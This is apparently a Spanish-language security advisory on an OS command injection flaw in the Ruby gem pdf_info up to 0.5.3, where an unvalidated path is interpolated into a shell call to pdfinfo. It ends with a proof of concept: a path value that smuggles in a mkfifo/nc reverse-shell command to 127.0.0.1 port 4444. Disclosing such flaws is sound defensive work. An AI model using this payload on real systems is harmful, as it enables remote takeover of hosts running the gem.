
pdf_info <= 0.5.3 Inyección de comandos del sistema operativo
La gema de ruby pdf_info <= 0.5.3 es vulnerable a la Inyección de Comandos del Sistema Operativo al ejecutar un método en un objeto PDF::Info.
Un atacante que utilice un payload especialmente diseñado puede ejecutar comandos del sistema operativo mediante el encadenamiento de comandos.
Al crear un nuevo objeto PDF::Info, se llama al método initialize:
def initialize(pdf_path)
@pdf_path = pdf_path
end
Durante la inicialización del objeto, no se realiza ninguna validación y se utiliza la ruta proporcionada por el usuario.
Podemos crear un objeto PDF::Info y devolver los metadatos de un PDF con lo siguiente:
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
Cuando llamamos al método metadata en el objeto PDF::Info, se realiza una llamada al método process_output con el argumento pasado siendo el método command.
El método command utiliza la variable de clase @pdf_info para ejecutar el comando pdfinfo en el sistema usando el siguiente fragmento de código para devolver la salida del comando:
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
Al igual que con el método initialize, no se realiza ninguna validación en la variable @pdf_path. Esto nos permite hacer uso del encadenamiento de comandos con ; para ejecutar un comando arbitrario.
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
El fragmento de código anterior ejecutará una shell inversa a 127.0.0.1 en el puerto 4444.
